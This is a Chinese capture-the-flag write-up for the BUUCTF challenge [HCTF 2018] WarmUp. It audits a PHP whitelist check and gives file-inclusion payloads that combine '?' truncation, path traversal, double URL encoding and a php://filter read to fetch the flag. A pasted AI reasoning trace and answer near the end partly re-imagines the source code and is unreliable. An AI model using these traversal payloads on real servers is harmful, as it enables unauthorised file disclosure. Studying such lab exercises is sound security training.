【BUUCTF系列】[HCTF 2018]WarmUp1

本文仅用于技术研究,禁止用于非法用途。
Author:枷锁

点开题目显示一个图片,没有任何交互功能,我们直接查看网页源代码

我们可以看到有一个歆慕的注释source.php,我们进行拼接,访问一下这个文件
在这里插入图片描述
在url后加上/source.php进行访问,可以看到我们访问到一些源码
在这里插入图片描述

访问后得到以下关键PHP代码:

highlight_file(__FILE__);
class emmm {
    public static function checkFile(&$page) {
        $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
        // ...检查逻辑...
    }
}

if (!empty($_REQUEST['file']) 
    && is_string($_REQUEST['file']) 
    && emmm::checkFile($_REQUEST['file'])) {
    include $_REQUEST['file'];
    exit;
} else {
    echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
  1. 文件包含条件
  • $_REQUEST['file']不为空
  • $_REQUEST['file']是字符串类型
  • 通过emmm::checkFile()检查
  • 只有让这三个都是true才能进入include,从而文件包含出flag文件。前两个只要file不为空且是字符串类型即可为true。重点是第三个判断。
  1. checkFile函数逻辑
  • 定义白名单:source.phphint.php
  • 检查输入是否在白名单中
  • 对输入进行URL解码和字符串截取处理
  • 多层检查机制增加了绕过难度
  1. 可利用点
  • 白名单检查可通过路径遍历绕过
  • URL解码特性可被利用
  • include函数对路径的特殊处理方式

解题步骤

第一步:获取提示信息

访问hint.php获取提示:

?file=hint.php

返回提示可能存在ffffllllaaaagggg文件
在这里插入图片描述

第二步:构造payload绕过检查

  1. 基本payload结构

    file=hint.php?/../../../../../ffffllllaaaagggg
    
    • 利用?截断使hint.php通过白名单检查
    • 使用路径遍历访问目标文件
  2. URL编码处理
    由于服务器会自动进行URL解码,需要构造多层编码:

    file=hint.php%253F/../../../../../ffffllllaaaagggg
    

    file=hint.php%3F%2F..%2F..%2F..%2F..%2F..%2Fffffllllaaaagggg
    

第三步:理解include机制

路径解析特性

  • PHP的include会尝试解析/分隔的路径
  • 如果前半部分文件不存在,会尝试包含后半部分路径
  • 路径遍历深度足够时能访问到目标文件

技术要点总结

  1. 文件包含漏洞利用
  • 通过白名单绕过实现任意文件包含
  • 结合路径遍历访问敏感文件
  1. URL编码特性
  • 服务器自动解码机制
  • 多层编码绕过技巧
  1. PHP include特性
  • 路径解析的特殊处理
  • 相对路径的计算方式

最终解决方案

最有效的payload为:

?file=hint.php%253F/../../../../../ffffllllaaaagggg

在这里插入图片描述

这个payload能够:

  1. 通过白名单检查(解码后为hint.php?
  2. 利用路径遍历访问目标文件
  3. 适应服务器的自动解码机制

宇宙级免责声明​​
🚨 重要声明:本文仅供合法授权下的安全研究与教育目的!🚨
1.合法授权:本文所述技术仅适用于已获得明确书面授权的目标或自己的靶场内系统。未经授权的渗透测试、漏洞扫描或暴力破解行为均属违法,可能导致法律后果(包括但不限于刑事指控、民事诉讼及巨额赔偿)。
2.道德约束:黑客精神的核心是建设而非破坏。请确保你的行为符合道德规范,仅用于提升系统安全性,而非恶意入侵、数据窃取或服务干扰。
3.风险自担:使用本文所述工具和技术时,你需自行承担所有风险。作者及发布平台不对任何滥用、误用或由此引发的法律问题负责。
4.合规性:确保你的测试符合当地及国际法律法规(如《计算机欺诈与滥用法案》(CFAA)、《通用数据保护条例》(GDPR)等)。必要时,咨询法律顾问。
5.最小影响原则:测试过程中应避免对目标系统造成破坏或服务中断。建议在非生产环境或沙箱环境中进行演练。
6.数据保护:不得访问、存储或泄露任何未授权的用户数据。如意外获取敏感信息,应立即报告相关方并删除。
7.免责范围:作者、平台及关联方明确拒绝承担因读者行为导致的任何直接、间接、附带或惩罚性损害责任。

🔐 安全研究的正确姿势:
✅ 先授权,再测试
✅ 只针对自己拥有或有权测试的系统
✅ 发现漏洞后,及时报告并协助修复
✅ 尊重隐私,不越界

⚠️ 警告:技术无善恶,人心有黑白。请明智选择你的道路。

希望这个教程对你有所帮助!记得负责任地进行安全测试。

<think>好的,我现在需要帮用户解决HCTF 2018 WarmUp题目的解题思路。首先,我应该先回忆一下这个题目的基本情况。根据用户提供的引用内容,这题可能涉及到Web安全方面的挑战,比如CTF题目常见的漏洞类型,比如文件包含、代码审计等。 用户提到参考站内引用中的第三部分是关于[HCTF 2018]WarmUp的解题思路,所以首先需要从这些信息中提取关键点。根据引用中的描述,解题思路可能涉及几个步骤:首先访问页面,查看源代码;然后发现提示,比如source.php;接着分析该文件的内容,寻找可能的漏洞点,比如文件包含或PHP伪协议利用。 接下来,我需要详细拆解每个可能的步骤。比如,第一步访问网站后,查看页面源代码,可能会发现注释中的提示,例如source.php文件。访问这个文件后,可能会得到PHP代码,这时候需要进行代码审计。代码中可能存在文件包含漏洞,比如使用include或require函数,并且参数未经过滤或过滤不严。 在代码审计过程中,需要关注如何绕过安全措施。例如,代码中可能检查参数是否在白名单中,或者是否以特定字符串开头。这时候可能要用到目录穿越,比如使用../../../../etc/passwd这样的路径,或者利用PHP伪协议如php://filter来读取源代码。 另外,可能还需要考虑服务器的文件结构,比如flag文件的位置,常见的如/flag,/var/www/html/flag.txt等。通过构造合适的payload,利用文件包含漏洞来读取这些文件。 还需要注意题目是否有其他陷阱,比如需要绕过strpos检查,或者利用二次编码来绕过过滤。例如,如果代码检查参数是否以某个字符串开头,可以通过编码绕过,比如使用%2566来代表f,因为服务器可能进行两次URL解码。 然后,总结解题步骤:查看源代码找到提示文件,审计代码找漏洞点,构造payload绕过过滤,读取flag文件。同时,要确保每一步都符合题目的具体设置,可能不同的题目会有不同的过滤方式,需要根据实际情况调整payload。 最后,生成相关问题,覆盖文件包含漏洞、PHP伪协议、代码审计等方面,帮助用户深入理解相关知识点。</think>### [HCTF 2018]WarmUp 解题思路 #### 1. 初始页面与源代码分析 - 访问题目地址后,页面显示一个卡通笑脸表情。 - **关键操作**:查看页面源代码,发现注释中提示 `source.php`,访问该路径获取服务器端PHP代码[^1]。 #### 2. 代码审计关键点 ```php <?php class emmm { public static function checkFile(&$page) { $whitelist = ["source" => "source.php", "hint" => "hint.php"]; if (!isset($page) || !is_string($page)) { echo "you can't see it"; return false; } if (in_array($page, $whitelist)) { return true; } $_page = mb_substr($page, 0, mb_strpos($page . '?', '?')); if (in_array($_page, $whitelist)) { return true; } $_page = urldecode($page); $_page = mb_substr($_page, 0, mb_strpos($_page . '?', '?')); if (in_array($_page, $whitelist)) { return true; } echo "you can't see it"; return false; } } if (empty($_REQUEST['file'])) { include 'hint.php'; } else { $file = $_REQUEST['file']; if (emmm::checkFile($file)) { include $file; } else { echo "you can't see it"; } } ``` - **漏洞点**:`include $file` 存在文件包含漏洞,但需通过 `checkFile()` 校验。 - **绕过逻辑**: 1. `$whitelist` 白名单仅允许 `source.php` 和 `hint.php`。 2. 利用 `mb_substr` 截取 `?` 前的路径,结合多次URL解码绕过检查。 #### 3. 构造Payload读取flag - **hint.php提示**:`flag not here, and flag in ffffllllaaaagggg`(暗示flag文件路径)。 - **Payload构造**: ```url file=source.php?/../../../../../ffffllllaaaagggg ``` - 原理:利用 `?` 截断路径检查,通过目录穿越访问根目录下的目标文件。 #### 4. 其他绕过方式 - **PHP伪协议**(若服务器允许): ```url file=php://filter/read=convert.base64-encode/resource=ffffllllaaaagggg ``` - **二次URL编码**(应对严格过滤): ```url file=source.php%253F/..%252F..%252F..%252F..%252F..%252Fffffllllaaaagggg ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值